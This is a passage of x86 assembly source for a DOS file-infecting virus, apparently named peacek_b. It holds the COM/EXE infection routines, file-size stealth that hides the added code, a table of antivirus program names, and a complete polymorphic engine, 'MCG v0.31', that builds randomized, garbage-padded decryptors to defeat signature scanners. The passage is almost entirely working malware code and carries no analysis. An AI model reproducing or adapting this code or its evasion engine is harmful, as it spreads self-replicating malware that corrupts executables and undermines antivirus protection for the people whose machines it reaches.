jne filesiz_exit ; Not equal? Jump to filesiz_exit
mov ax,es:[bx+1dh] ; AX = low-order word of filesize
mov dx,es:[bx+1fh] ; DX = high-order word of filesize
sub ax,(code_end-code_begin)
sbb dx,00h ; Convert to 32-bit
jb filesiz_exit ; Below? Jump to filesiz_exit
mov es:[bx+1dh],ax ; Store low-order word of filesize
mov es:[bx+1fh],dx ; Store high-order word of filesize
filesiz_exit:
pop ds es si dx bx ax ; Load registers from stack
filesiz_exi_:
iret ; Interrupt return
infect_file_ proc near ; Infect COM/EXE file
cli ; Clear interrupt-enable flag
mov [stack_seg],ss ; Store stack segment
mov [stack_ptr_],sp ; Store stack pointer
push cs ; Save CS at stack
pop ss ; Load SS from stack (CS)
lea sp,stack_ptr ; SP = stack pointer
sti ; Set interrupt-enable flag
mov cs:[payload_stat],00h
call examine_name
jc infect_exit_ ; Error? Jump to infect_exit_
call payload_
mov [infect_stat],01h ; Infect file
cmp [execute_stat],00h ; COM executable?
je infect_com__ ; Equal? Jump to infect_com__
cmp [execute_stat],01h ; EXE executable?
je infect_exe__ ; Equal? Jump to infect_exe__
jmp error_
infect_exe__:
call sto_file_att
jc infect_exit_ ; Error? Jump to infect_exit_
call open_file
jc infect_exit_ ; Error? Jump to infect_exit_
call get_file_inf
mov al,02h ; Set current file position (EOF)
call set_file_pos
mov word ptr [filesize],ax
mov word ptr [filesize+02h],dx
call infect_exe
jc infect_exit ; Error? Jump to infect_exit
mov [infect_stat],00h ; Don't infect file
call infect_file
jmp infect_exit
infect_com__:
call sto_file_att
jc infect_exit_ ; Error? Jump to infect_exit_
call open_file
jc infect_exit_ ; Error? Jump to infect_exit_
call get_file_inf
mov al,02h ; Set current file position (EOF)
call set_file_pos
mov word ptr [filesize],ax
mov word ptr [filesize+02h],dx
call examine_com
jc infect_exit ; Error? Jump to infect_exit
call infect_com
jc infect_exit ; Error? Jump to infect_exit
call infect_file
call mark_com
mov [infect_stat],00h ; Don't infect file
infect_exit:
call set_file_inf
call close_file
infect_exit_:
mov cs:[payload_stat],01h
cli ; Clear interrupt-enable flag
push [stack_seg] ; Save stack segment at stack
pop ss ; Load SS from stack (stack segment)
mov sp,[stack_ptr_] ; SP = stack pointer
sti ; Set interrupt-enable flag
jmp no_error
endp
table_begin:
scan_strings db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 3.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 4.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 5.xx
db 90h,90h,0e8h,0cch ; Scan string of DOS kernel v 6.xx
table_end:
execute_stat db ? ; Executable status
filename_off dw ? ; Offset of filename
filename_seg dw ? ; Segment of filename
file_attr dw ? ; File attributes
file_date dw ? ; File date
file_time dw ? ; File time
filesize dd ? ; Filesize
file_handle dw ? ; File handle
initial_ss dw ? ; Initial SS relative to start of ...
initial_sp dw ? ; Initial SP
initial_cs dw ? ; Initial CS relative to start of ...
initial_ip dw ? ; Initial IP
db 21h,98h,01h,00h,0adh,0deh
exe_extensio db 'EXE' ; EXE extension
com_extensio db 'COM' ; COM extension
table_begin_:
name_table db 'SC' ; McAfee ViruScan
db 'CL' ; " "
db 'VI' ; VIRSTOP
db 'VS' ; Vsafe
db 'MS' ; Microsoft Anti-Virus
db 'CP' ; Central Point Anti-Virus
db 'F-' ; F-PROT
db 'IM' ; Integrity Master
db 'VH' ; VHunter
db 'TB' ; ThunderByte Anti-Virus
table_end_:
db 00h,00h
part_offset dw ? ; Offset in file of current polymo...
part_length dw ? ; Length of polymorphic parts + in...
part_offset_ dw ? ; Offset in memory of current poly...
part_offse dw ? ; Offset in file of current polymo...
poly_parts dw 01h ; Number of polymorphic parts
part_length_ dw ? ; Length of current polymorphic part
delta_offse_ dw ? ; Delta offset
infect_stat db ? ; Infect status ..
db 01h
payload_stat db ? ; Payload status
trace_status db ? ; Trace flag status
db 08h dup(00h)
dos_version dw ? ; DOS version number
program_seg dw ? ; Segment of Program Segment Prefi...
int21_addr dd ? ; Address of interrupt 21h
int21_addr_ dd ? ; Address pf interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
db 08h dup(00h)
int13_addr dd ? ; Address of interrupt 13h
stack_seg dw ? ; Stack segment
stack_ptr_ dw ? ; Stack pointer
ax_ dw ? ; Accumulator register
bx_ dw ? ; Base register
cx_ dw ? ; Count register
dx_ dw ? ; Data register
ds_ dw ? ; Data segment
es_ dw ? ; Extra segment
si_ dw ? ; Source index
di_ dw ? ; Destination index
bp_ dw ? ; Base pointer
data_buffer db 1ch dup(?) ; Data buffer
data_buffer_ db 04h dup(?) ; " "
flags db 00h ; Flags
; ------- Poly engine start --------------------------------------------------
assign_val dw 0 ; value to be assigned when calling
; the do_assign procedure
assign_reg db 0 ; register to be used when calling
; the do_assign procedure
encrypt_key dw 0 ; encryption key used
run_offset dw 0 ; offset at which the decryptor will
; run (BP at input)
poly_flags db 0 ; flags given to poly engine are
; stored here
loop_start dw 0 ; pointer to start of the decryption
; loop
rnd_pnt_off dw 0 ; random value added to the pointer
; in the decryption instruction
decrypt_start dw 0 ; pointer to decryptor start
dec_length dw 0 ; decryptor length
regs_assigned db 0 ; 1 if pointer and counter registers
; have been assigned yet, 0 otherwise
use_loop db 0 ; 0 if LOOP instruction will be used
; in dec loop, 1 don't force LOOP
poly_name_ver db '[MCG v0.31á]'
reg_no_assign: ; Registers that can't be used as temporary
; when assigning a value
db 0 ; AX
db 1 ; CX
db 3 ; BX
db 4 ; BP
mul2_in_si proc near
;
; this procedure multiplies AX by two and puts the result in SI. this is used
; when selecting elements from the procedures tables later, since each address
; in a word long.
;
nop
nop
mov bx, 2
mul bx ; simply ax * 2 and then
mov si, ax ; store in si
retn
mul2_in_si endp
get_random proc near
push cx
mov cx, 1eh
persist_rnd:
call get_rnd_num
loop persist_rnd ; call the real rnd_generator
pop cx ; a few times to be more
retn ; randomized
get_random endp
some_garbage proc near
test byte ptr [poly_flags], 40h ; garbage allowed?
jnz return_garbage
some_garbage_:
push cx
call get_rnd_num
and al, 7
sub ah, ah ; select how much
mov ch, ah ; garbage inst. to do
mov cl, al ; between 01h and 08h
inc cx
garbage_loop_2:
call garbage_instr ; do given number of
loop garbage_loop_2 ; garbage instructions
pop cx
return_garbage:
retn
some_garbage endp
select_reg_ass proc near
push ax
push cx
push di
db 10001101b,00111110b ; point to table of ones
dw reg_no_assign ; that can't be used
mov cx, 4
mov al, ah
repne scasb ; check if randomly selected
pop di ; can be used or not
pop cx
pop ax
jnz ok_regi_ass ; NZ means register can be used
mov ah, 2 ; if can't use that one then
ok_regi_ass: ; use register DX
retn
select_reg_ass endp
garbage_sel:
;
; table with offsets to garbage generation routines
;
dw offset garbage_way_1
dw offset garbage_way_2
dw offset garbage_way_5
dw offset garbage_way_4
dw offset garbage_way_7
dw offset garbage_way_3
dw offset garbage_way_7
dw offset garbage_way_6
one_byters:
;
; one byte instructions that can be generated as garbage
;
nop
clc
stc
cmc
cli
nop
cld
cmc
math_garb:
;
; possible garbage operations. this are the ones that doesn't modify the
; register content when using the same register as source and destination
;
db 8 ; or opcode
db 20h ; and opcode
db 8 ; or opcode
db 88h ; mov opcode
zero_reg:
;
; possible instructions used to zero a register when both source and destination
; are the same register
;
db 2bh ; sub opcode
db 31h ; xor opcode
garbage_instr proc near
;
; this routine generates a garbage instruction
;
pushf
push ax
push bx ; save some registers
push cx
push dx
call get_random ; select from the given
db 10000011b,11100000b ; AND AX,07h
db 00000111b ; (opcode 83h,0e0h,07h)
call mul2_in_si ; convert to offset in SI
call get_random ; rnd value in AX for garbage
; routines
jmp word ptr cs:[si + offset garbage_sel] ; generate
return_garbage_:
pop dx
pop cx ; restore and return back
pop bx
pop ax
popf
retn
garbage_instr endp
; ------- Garbage generator routines -----------------------------------------
garbage_way_1:
;
; this selects one one-byte instruction from the table
;
and al, 7 ; 8 one byte opcodes
db 10001101b,00011110b ; select one from table
dw one_byters
xlat
stosb ; and store
jmp short return_garbage_
garbage_way_2:
;
; this generates three different types of 8 or 16 bit register to register
; operations that are AND, OR and MOV
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 3 ; 4 possible operations
db 10001101b,00011110b ; select one from table
dw math_garb
push cs
pop es
xlat
mov bl, al
push cx
call get_rnd_num
and al, 1 ; 8 or 16 bit
or al, bl
and ah, 38h ; select one random pair
mov bh, ah ; of registers for the
mov cl, 3 ; operation
shr ah, cl
or ah, bh ; make source and destination
or ah, 0c0h ; the same register, so content
stosw ; isn't altered
pop cx
jmp short return_garbage_
garbage_way_3:
;
; this generates two xchanges of 8 or 16 bits registers, this way important
; data in used regs isn't lost
;
and al, 1 ; 8bit (86h) or 16bit (87h)
or al, 86h ; xchg base
or ah, 0c0h ; from two random regs
stosw ; xchange twice, so nothing
stosw ; changes
jmp short return_garbage_
garbage_way_4:
;
; this generates 16 types of conditional jumps to the next instruction
;
and al, 0fh ; 0fh types of jumps
or al, 70h ; conditional jump base
sub ah, ah ; on next instruction
stosw
jmp short return_garbage_
garbage_way_5:
;
; this generates a comparation of 8 or 16 bits of two registers. randomly
; it also puts a conditional jump (using the garbage_way_4) routine after
; the comparsion.
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 1 ; 8 or 16 bits
or al, 3ah ; cmp reg,reg prefix
or ah, 0c0h ; from two random regs
stosw
call get_rnd_num
test ah, 2 ; randomly add also a cond
jz garbage_way_4 ; jump after this cmp
jmp short return_garbage_
garbage_way_6:
;
; this generates a comparation of a 8 or 16 bit register with an immediate
; (of course of the same size) and then puts a conditional jump after it
;
cmp byte ptr [regs_assigned], 0
jnz return_garbage_
and al, 1 ; 8 or 16 bit
or al, 3ch ; cmp reg,immediate
stosb
test al, 1 ; depending on the used imm
pushf ; dimension store one or two
call get_rnd_num ; random bytes as immediate
popf
jnz word_immediate_cmp
stosb
back_immediate_cmp:
jmp short garbage_way_4
word_immediate_cmp:
stosw
db 11101001b ; JMP imm16 (opcode 0e9h)
dw back_immediate_cmp-garbage_way_7
garbage_way_7:
;
; this generates a test between two 8 or 16 bits registers and puts a
; conditional jump after it
;
cmp byte ptr [regs_assigned], 0
jz can_do_test
jmp return_garbage_
can_do_test:
and al, 1 ; 8 or 16 bit
or al, 84h ; test reg,reg base
or ah, 0c0h
stosw
jmp short garbage_way_4
; ---------------------------------------------------------------------------
;
; this will generate a one byte instruction followed by a loop (using the LOOP
; instruction) that will loop on the generated one byte instruction. this
; routine is in the poly code but is never used.
;
and al, 7
db 10001101b,00011110b ; get an one byte instruction
dw one_byters
xlat
stosb
mov ax, 0fde2h ; loop pointing to the previous
stosw ; one byte instruction
jmp return_garbage_
;
; this seems a register reference table but isn't used either in this version
; of the poly
;
db 0 ; AX
db 1 ; CX
db 4 ; BP
db 3 ; BX
; ---------------------------------------------------------------------------
assign_sel:
;
; Offsets to possible way of assigning the value to the counter register
;
dw offset assign_way_1
dw offset assign_way_2
dw offset assign_way_4
dw offset assign_way_3
do_assign proc near
;
; this subroutine creates code that assign the value given in the register AX
; to the register which opcode is given in the register DH.
;
pushf
push ax ; save some regs
push bx
push cx
push dx
mov word ptr [assign_val], ax ; save inputs to
mov byte ptr [assign_reg], dh ; procedure
call get_rnd_num
db 10000011b,11100000b ; AND AX,03h
db 00000011b ; (opcode 83h,0e0h,03h)
call mul2_in_si ; multiply to get
; memory offset
call get_random ; rnd value for
; procedures
jmp word ptr cs:[si + offset assign_sel] ; jump to it
return_assign:
pop dx
pop cx
pop bx ; restore and get back
pop ax
popf
retn
do_assign endp
; ------- Register assignation routines -------------------------------------
assign_way_1:
;
; mov assign_reg,value
; garbage
;
mov al, 0b8h ; mov base opcode
or al, byte ptr [assign_reg] ; for the used reg
stosb
mov ax, word ptr [assign_val] ; and store register
stosw ; initial value
call some_garbage
jmp short return_assign
assign_way_2:
;
; mov rnd_reg,value
; garbage
; xchg rnd_reg,assign_reg
; garbage
;
and ah, 7
call select_reg_ass
mov dh, ah
mov al, 0b8h ; mov base opcode
or al, ah ; with selected reg
stosb
mov ax, word ptr [assign_val] ; assign the value
stosw
call some_garbage
mov al, 87h ; xchg prefix
mov ah, 0c0h ; xchg registers opcode
or ah, dh ; first is the one we
; used before, rnd_reg
mov dh, byte ptr [assign_reg]
sub cx, cx
mov cl, 3 ; and calculate for the
shl dh, cl ; assign_reg one
or ah, dh
stosw ; store the xchg
jmp short return_assign
assign_way_3:
;
; mov rnd_reg,value
; garbage
; push rnd_reg
; garbage
; pop assign_reg
; garbage
;
and ah, 7
call select_reg_ass
mov dh, ah
mov al, 0b8h ; mov base opcode
or al, ah ; with selected reg
stosb
mov ax, word ptr [assign_val] ; and value
stosw
call some_garbage
mov al, 50h ; push base opcode
or al, dh ; for rnd_reg used
stosb
call some_garbage
mov dh, byte ptr [assign_reg] ; and pop to given
mov al, 58h ; register
or al, dh
stosb
jmp short return_assign
assign_way_4:
;
; xor/sub assign_reg,assign_reg
; garbage
; add/or assign_reg,value
; garbage
;
and al, 1
sub ah, ah ; using the table
db 10001101b,00011110b
dw zero_reg ; select if zeroing
xlat ; using sub or xor
stosb
mov bl, byte ptr [assign_reg]
sub al, al
or al, 0c0h ; basic prefix
or al, bl ; both source and
mov cl, 3 ; destination will be
shl bl, cl ; the given register
or al, bl
stosb
call some_garbage
call get_random ; select which way to
and al, 1 ; correct the register
cmp al, 1 ; value
jz correct_with_add
xor ax, ax
mov al, 81h ; basic prefix
mov ah, 0c8h ; OR basic opcode
mov bl, byte ptr [assign_reg] ; with selected reg
or ah, bl
stosw
store_way_4:
mov ax, word ptr [assign_val] ; and store register
stosw ; initial value
jmp return_assign
correct_with_add:
sub ax, ax
mov al, 81h ; basic prefix
mov bl, byte ptr [assign_reg] ; selected reg
or ah, bl
or ah, 0c0h ; with ADD opcode
stosw
jmp short store_way_4
; ---------------------------------------------------------------------------
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; MCG v0.31á Poly engine entry point
;
; Input parameters:
; AX = encryption value
; BL = poly engine flags
; bit 0 = 1 encrypt using words, 0 using bytes
; bit 1 = 1 use just reg as pointer , 0 use reg + off
; bit 2 = 1 use SI as pointer, 0 use DI as pointer
; bit 3 = 1 use LOOP in dec loop, 0 use DEC counter
; bit 4 = 0 use ADD for encryption, 1 don't use ADD
; bit 5 = 0 use SUB for encryption, 1 don't use SUB
; This is overridden by bit 4. If either
; bit 4 and bit 5 are 1 the XOR is used
; bit 6 = 1 for no garbage, 0 for garbage
; BP = offset at which the decryptor will run
; ES:DI = where to place generated code
;
; Output parameters:
; CX = decryptor length
; DS:DX = pointer to decryptor
;
;
mcg_start proc near
cld
push cs
push cs
pop ds
pop es
mov word ptr [encrypt_key], ax ; store input paras
mov byte ptr [poly_flags], bl ; and do some inits
mov word ptr [run_offset], bp
mov word ptr [decrypt_start], di
mov byte ptr [regs_assigned], 0
mov byte ptr [use_loop], 1
test byte ptr [poly_flags], 40h ; check if we can do
jnz no_first_garb ; garbage or not
call get_rnd_num
and al, 0fh ; do a number between
sub cx, cx ; 01h and 10h of
mov cl, al ; garbage instructions
inc cx ; force at least one
garbage_loop_1:
call garbage_instr ; do one garbage inst
loop garbage_loop_1
no_first_garb:
test byte ptr [poly_flags], 1 ; encrypt with bytes?
mov dh, 1
jz do_with_bytes
push dx
xor dx, dx
mov ax,(code_end-code_begin) ; for words must
mov bx, 2 ; div counter by 2
div bx
add ax, dx
pop dx
call do_assign ; make counter assignation
jmp short counter_assigned
do_with_bytes:
mov ax,(code_end-code_begin)
call do_assign ; make counter assignation
counter_assigned:
call some_garbage
test byte ptr [poly_flags], 4 ; pointer register
jnz pointer_with_si
mov dh, 7 ; use DI as pointer
mov ax, 0ffffh ; put 0ffffh, will be filled later
call do_assign ; make pointer assignation
jmp short pointer_assigned
pointer_with_si:
mov dh, 6 ; use SI as pointer
mov ax, 0ffffh ; put 0ffffh, will be filled later
call do_assign ; make pointer assignation
pointer_assigned:
mov byte ptr [regs_assigned], 1
call some_garbage
mov word ptr [loop_start], di ; save where the real
call some_garbage ; decryption loop starts
call some_garbage
mov al, 2eh ; CS: segment forcing
stosb
mov al, 81h ; base prefix
test byte ptr [poly_flags], 1 ; encrypting bytes?
jnz using_words_enc
and al, 0feh ; so prefix becames 80h
using_words_enc:
stosb
test byte ptr [poly_flags], 10h ; use ADD?
jz add_encryption
test byte ptr [poly_flags], 20h ; use SUB?
jz sub_encryption
mov al, 30h ; XOR base
mov byte ptr [use_loop], 0 ; force LOOP if so
jmp short proceed_enc
sub_encryption:
mov al, 28h ; SUB base
jmp short proceed_enc
add_encryption:
sub al, al ; ADD base
proceed_enc:
test byte ptr [poly_flags], 4 ; which pointer is used
jz di_is_here
or al, 4 ; SI
jmp short proceed_enc_2
di_is_here:
or al, 5 ; DI
proceed_enc_2:
stosb
test byte ptr [poly_flags], 2 ; using reg+off in
pushf ; encryption?
sub ax, ax
popf
jnz using_just_reg
get_rndpnt_off:
call get_rnd_num ; random offset to add
mov word ptr [rnd_pnt_off], ax ; save for later too
push ax
push bx
mov bx, 200h
add bx, word ptr [run_offset]
sub bx, ax
test bx, 0c0h
pop bx
pop ax
jz get_rndpnt_off
or byte ptr cs:[di-1], 80h ; change to right opc.
stosw ; store random off
using_just_reg:
test byte ptr [poly_flags], 1 ; byte or words?
jz key_is_a_byte
mov ax, word ptr [encrypt_key] ; store immediate word
stosw ; encryption key
jmp short done_key_operation
key_is_a_byte:
mov al, byte ptr [encrypt_key+1] ; if encryption is done
stosb ; byte by byte then key
jmp short done_key_operation ; is a byte
done_key_operation:
call some_garbage
call some_garbage
call some_garbage
call get_rnd_num
and ah, 3 ; four ways of inc
cmp ah, 0 ; the pointer reg
jz incp_scasb
cmp ah, 2
jz incp_cmpsb
cmp ah, 3
jz incp_inc
mov al, 81h ; math prefix
mov ah, 0c0h ; add base
test byte ptr [poly_flags], 4 ; used as pointer?
jnz add_butsi
or ah, 7 ; DI
jmp short add_storeit
add_butsi:
or ah, 6 ; SI
add_storeit:
stosw
test byte ptr [poly_flags], 1 ; enc word or bytes?
jz using_bytes_inc
mov ax, 2 ; words, so + 2
jmp short store_the_inc
using_bytes_inc:
mov ax, 1 ; bytes, so + 1
store_the_inc:
stosw
jmp short pointer_incremented
incp_scasb:
test byte ptr [poly_flags], 4 ; scasb method only
jnz incp_cmpsb ; if using DI
mov byte ptr [use_loop], 0 ; force LOOP if so
mov al, 0aeh ; scasb incs DI of 1
test byte ptr [poly_flags], 1 ; if doing with words
jz put_the_scasb
or al, 1 ; then to scasw
put_the_scasb:
stosb
jmp short pointer_incremented
incp_cmpsb:
mov byte ptr [use_loop], 0 ; force LOOP if so
mov al, 0a6h ; cmpsb
test byte ptr [poly_flags], 1 ; if doing with words
jz put_the_cmpsb
or al, 1 ; then to cmpsw
put_the_cmpsb:
stosb
jmp short pointer_incremented
incp_inc:
mov al, 40h ; inc opcode
test byte ptr [poly_flags], 4 ; with the correct
jnz enc_with_sir ; pointer reg
or al, 7 ; DI
jmp short store_incpointer
enc_with_sir:
or al, 6 ; SI
store_incpointer:
stosb
test byte ptr [poly_flags], 1 ; doing with words?
jz pointer_incremented
push ax ; if so some garbage
call some_garbage ; and then one more
call some_garbage ; inc pointer
pop ax
stosb
pointer_incremented:
call some_garbage
call some_garbage
test byte ptr [poly_flags], 8 ; LOOP or DEC
jz dowith_inccx
use_loopi:
mov al, 0e2h ; LOOP opcode
make_jump_off:
stosb
mov bx, di
mov dx, word ptr [loop_start]
sub bx, dx
mov bh, 0ffh ; calculate the offset
sub bh, bl ; of the jump to the
xchg al, bh ; beginning of the
stosb ; decryption loop
jmp short finished_loop
dowith_inccx:
cmp byte ptr [use_loop], 0 ; if forcing LOOP then use it
jz use_loopi
mov al, 49h ; dec cx, this is dec counter
stosb
call some_garbage
call some_garbage
call some_garbage
call get_rnd_num
and ah, 1 ; two types of conditional
cmp ah, 1 ; jump to exit the loop
jz jump_with_jg
mov al, 75h ; JNE opcode
jmp short make_jump_off
jump_with_jg:
mov al, 7fh ; JG opcode
jmp short make_jump_off
finished_loop:
push di
mov bx, word ptr [decrypt_start] ; caluclate length
sub di, bx ; of generated
mov word ptr [dec_length], di ; decryptor
pop di
std ; will search from
mov al, 0ffh ; end to beginning
mov cx, word ptr [dec_length]
search_pnt_ass:
repne scasb ; search the pointer
cmp byte ptr [di], 0ffh ; assignation in
jnz search_pnt_ass ; generated code
cld ; (the FFFFh word)
mov ax, word ptr [dec_length]
add ax, word ptr [run_offset]
test byte ptr [poly_flags], 2
jnz adjust_for_off
sub ax, word ptr [rnd_pnt_off] ; if using reg+off then
; adjust inital pnt
adjust_for_off:
stosw ; correct pointer assignation
mov cx, word ptr [dec_length]
mov dx, word ptr [decrypt_start]
retn
mcg_start endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
encrypt_body proc near
;
; this routine encrypts CX bytes starting from ES:DI with the key given in
; the register DX. it uses the poly_flags data byte to decide which encryption
; was used.
;
push di
push cx
test byte ptr [poly_flags], 1 ; words or bytes?
jz byte_by_byte
inc cx
shr cx, 1 ; words
word_by_word:
mov dx, word ptr [encrypt_key] ; get again key
lodsw ; get a word
call encrypt_word
stosw ; store encrypted one
loop word_by_word
jmp short finished_encrypt
byte_by_byte:
mov dx, word ptr [encrypt_key] ; get again key
lodsb ; get a byte
xchg dh, dl ; if using bytes the
xor dh, dh ; key is in high one
call encrypt_word
stosb ; store encrypted one
loop byte_by_byte
jmp short finished_encrypt
; ---------------------------------------------------------------------------
encrypt_word proc near
test byte ptr [poly_flags], 10h ; add to decrypt?
jz enc_subbing
test byte ptr [poly_flags], 20h ; sub to decrypt?
jz enc_adding
xor ax, dx ; else xoring
retn
enc_adding:
add ax, dx ; encrypt it adding
retn
enc_subbing:
sub ax, dx ; encrypt it subbing
retn
encrypt_word endp
; ---------------------------------------------------------------------------
finished_encrypt:
pop cx ; restore changed regs
pop dx
retn ; back to caller
encrypt_body endp
; ------- Poly engine end ----------------------------------------------------
code_end:
data_buffe:
dw 02h ; Length of original code
dw code_begin-100h ; Offset of original code - 100h
int 20h ; Terminate program
db 0fah dup(?)
data_buffe_:
data_end:
end code_begin
--------------------------------------------------------------[peacek_b.asm]--